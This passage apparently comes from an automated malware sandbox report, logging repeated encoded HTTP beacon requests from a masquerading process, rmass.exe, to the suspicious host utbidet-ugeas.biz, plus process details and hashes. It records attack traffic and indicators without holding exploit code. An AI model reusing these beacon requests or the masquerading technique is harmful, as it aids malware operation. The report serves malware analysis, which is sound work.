62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_PPXdJ95cQyoalbIEnEKWEp1hDWy1QHW4dpDYtkDj1iRhunO7fpZZy1Qh9Nu/I8G4mR7jIhGSc93K8/fYfxRigw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:35.715246916 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTFmOGY1NDQtOTgzMi00ZDUxLTkyYTEtZTRkZmYyY2JjYmYzIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	58996	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:36.119442940 CET	169	OUT	GET /d/N?02E01AB48FE01AB48FCE1A988FE01A9C37E436964BE11A7427E21E82A1D2348DBDD02A9A8F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:36.569844007 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:36 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: bc23656d-0c7f-491b-bf5a-53816b66e411 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_MQ2LXu1j/kYHiGr6eiDQzmnGgjxLn1qsfeJR1l+WUfs9Dss55T+Y8nR/cbP6qzq44MiYjEpKxR4gFxpZzg+6jA== set-cookie: parking_session=bc23656d-0c7f-491b-bf5a-53816b66e411; expires=Sun, 05 Jan 2025 10:04:36 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4d 51 32 4c 58 75 31 6a 2f 6b 59 48 69 47 72 36 65 69 44 51 7a 6d 6e 47 67 6a 78 4c 6e 31 71 73 66 65 4a 52 31 6c 2b 57 55 66 73 39 44 73 73 35 35 54 2b 59 38 6e 52 2f 63 62 50 36 71 7a 71 34 34 4d 69 59 6a 45 70 4b 78 52 34 67 46 78 70 5a 7a 67 2b 36 6a 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_MQ2LXu1j/kYHiGr6eiDQzmnGgjxLn1qsfeJR1l+WUfs9Dss55T+Y8nR/cbP6qzq44MiYjEpKxR4gFxpZzg+6jA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:36.569891930 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmMyMzY1NmQtMGM3Zi00OTFiLWJmNWEtNTM4MTZiNjZlNDExIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	58998	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:37.569019079 CET	169	OUT	GET /d/N?02F042D0D3F042D0D3DE42FCD3F042F86BF46EF217F142107BF246E6FDC26CE9E1C072FED3 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:38.022130966 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:37 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 47a53e95-8ccd-4f94-9353-8a194a019124 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_exuViYQXtii5epz5yXk0ketkYI+7WXZrDo5+PXYQhntkeeqsoVgSF765Gs9MLqdy2vd7RczHV4aOx3JOVYDOpQ== set-cookie: parking_session=47a53e95-8ccd-4f94-9353-8a194a019124; expires=Sun, 05 Jan 2025 10:04:37 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 65 78 75 56 69 59 51 58 74 69 69 35 65 70 7a 35 79 58 6b 30 6b 65 74 6b 59 49 2b 37 57 58 5a 72 44 6f 35 2b 50 58 59 51 68 6e 74 6b 65 65 71 73 6f 56 67 53 46 37 36 35 47 73 39 4d 4c 71 64 79 32 76 64 37 52 63 7a 48 56 34 61 4f 78 33 4a 4f 56 59 44 4f 70 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_exuViYQXtii5epz5yXk0ketkYI+7WXZrDo5+PXYQhntkeeqsoVgSF765Gs9MLqdy2vd7RczHV4aOx3JOVYDOpQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:38.022157907 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDdhNTNlOTUtOGNjZC00Zjk0LTkzNTMtOGExOTRhMDE5MTI0IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	59000	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:38.196321011 CET	169	OUT	GET /d/N?02F8D0171DF8D0171DD6D03B1DF8D03FA5FCFC35D9F9D0D7B5FAD42133CAFE2E2FC8E0391D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:38.661801100 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:37 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: ebbed02c-b019-41d1-9927-8a8589f3ec5a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pEeZDKIh9RhuQOlDHOdgQX5c720hf3oERz8NjBS60RCcjb1K+SEl79U6NmQgFUyWeA/CoKcjJTkmh3hBSRTPKg== set-cookie: parking_session=ebbed02c-b019-41d1-9927-8a8589f3ec5a; expires=Sun, 05 Jan 2025 10:04:38 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 70 45 65 5a 44 4b 49 68 39 52 68 75 51 4f 6c 44 48 4f 64 67 51 58 35 63 37 32 30 68 66 33 6f 45 52 7a 38 4e 6a 42 53 36 30 52 43 63 6a 62 31 4b 2b 53 45 6c 37 39 55 36 4e 6d 51 67 46 55 79 57 65 41 2f 43 6f 4b 63 6a 4a 54 6b 6d 68 33 68 42 53 52 54 50 4b 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pEeZDKIh9RhuQOlDHOdgQX5c720hf3oERz8NjBS60RCcjb1K+SEl79U6NmQgFUyWeA/CoKcjJTkmh3hBSRTPKg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:38.661828041 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZWJiZWQwMmMtYjAxOS00MWQxLTk5MjctOGE4NTg5ZjNlYzVhIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	59002	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:39.333580017 CET	169	OUT	GET /d/N?029A0848CA9A0848CAB40864CA9A0860729E246A0E9B088862980C7EE4A82671F8AA3866CA HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:39.797540903 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:38 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 197abe49-85d5-4061-b21e-b3cfe49051bf cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XtdBDpSEclgwf+7HR4yjwADM0Et9To9FOxvMqlc5I7RDY6xHYcE5njzIJpWgRQVic64ZlzUw1L8P6snDkrnweQ== set-cookie: parking_session=197abe49-85d5-4061-b21e-b3cfe49051bf; expires=Sun, 05 Jan 2025 10:04:39 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 74 64 42 44 70 53 45 63 6c 67 77 66 2b 37 48 52 34 79 6a 77 41 44 4d 30 45 74 39 54 6f 39 46 4f 78 76 4d 71 6c 63 35 49 37 52 44 59 36 78 48 59 63 45 35 6e 6a 7a 49 4a 70 57 67 52 51 56 69 63 36 34 5a 6c 7a 55 77 31 4c 38 50 36 73 6e 44 6b 72 6e 77 65 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XtdBDpSEclgwf+7HR4yjwADM0Et9To9FOxvMqlc5I7RDY6xHYcE5njzIJpWgRQVic64ZlzUw1L8P6snDkrnweQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:39.797609091 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTk3YWJlNDktODVkNS00MDYxLWIyMWUtYjNjZmU0OTA1MWJmIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	59004	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:42.408659935 CET	169	OUT	GET /d/N?0235032972350329721B030572350301CA312F0BB63403E9DA37071F5C072D104005330772 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:42.881340027 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:41 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 41a3437b-b212-4247-a7f4-5c70431acf1c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Oq+HQTxaD1enyeenfsYfzo+eqXU2UzbNXEsMrCMU9or0KAPZgcFqAtMiJ6qKUz/LP29vm8ZspDmvqozGMeHkkw== set-cookie: parking_session=41a3437b-b212-4247-a7f4-5c70431acf1c; expires=Sun, 05 Jan 2025 10:04:42 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4f 71 2b 48 51 54 78 61 44 31 65 6e 79 65 65 6e 66 73 59 66 7a 6f 2b 65 71 58 55 32 55 7a 62 4e 58 45 73 4d 72 43 4d 55 39 6f 72 30 4b 41 50 5a 67 63 46 71 41 74 4d 69 4a 36 71 4b 55 7a 2f 4c 50 32 39 76 6d 38 5a 73 70 44 6d 76 71 6f 7a 47 4d 65 48 6b 6b 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Oq+HQTxaD1enyeenfsYfzo+eqXU2UzbNXEsMrCMU9or0KAPZgcFqAtMiJ6qKUz/LP29vm8ZspDmvqozGMeHkkw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:42.881359100 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDFhMzQzN2ItYjIxMi00MjQ3LWE3ZjQtNWM3MDQzMWFjZjFjIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	59006	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:44.224067926 CET	169	OUT	GET /d/N?0254B6262954B626297AB60A2954B60E91509A04ED55B6E68156B2100766981F1B64860829 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:44.707710028 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:43 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 9e970931-6dd6-454b-a272-2d145a83fc5c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XVhdNz8+47OvtsEK7CDW7cZdSd94+s0DCWPVvk2IIia4n77gOZR25QBy/3KLkupObsEnkxsu9lhtvSapTILtCw== set-cookie: parking_session=9e970931-6dd6-454b-a272-2d145a83fc5c; expires=Sun, 05 Jan 2025 10:04:44 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 56 68 64 4e 7a 38 2b 34 37 4f 76 74 73 45 4b 37 43 44 57 37 63 5a 64 53 64 39 34 2b 73 30 44 43 57 50 56 76 6b 32 49 49 69 61 34 6e 37 37 67 4f 5a 52 32 35 51 42 79 2f 33 4b 4c 6b 75 70 4f 62 73 45 6e 6b 78 73 75 39 6c 68 74 76 53 61 70 54 49 4c 74 43 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XVhdNz8+47OvtsEK7CDW7cZdSd94+s0DCWPVvk2IIia4n77gOZR25QBy/3KLkupObsEnkxsu9lhtvSapTILtCw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:44.707745075 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWU5NzA5MzEtNmRkNi00NTRiLWEyNzItMmQxNDVhODNmYzVjIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Target ID:	0
Start time:	04:47:58
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\NpHauDPoR8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NpHauDPoR8.exe"
Imagebase:	0x400000
File size:	48'655 bytes
MD5 hash:	6327443864311678C76C9738D91D6EF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:47:58
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\rmass.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rmass.exe"
Imagebase:	0x400000
File size:	48'655 bytes
MD5 hash:	6327443864311678C76C9738D91D6EF9
Has elevated privileges:	true
Has administrator privileges:	true
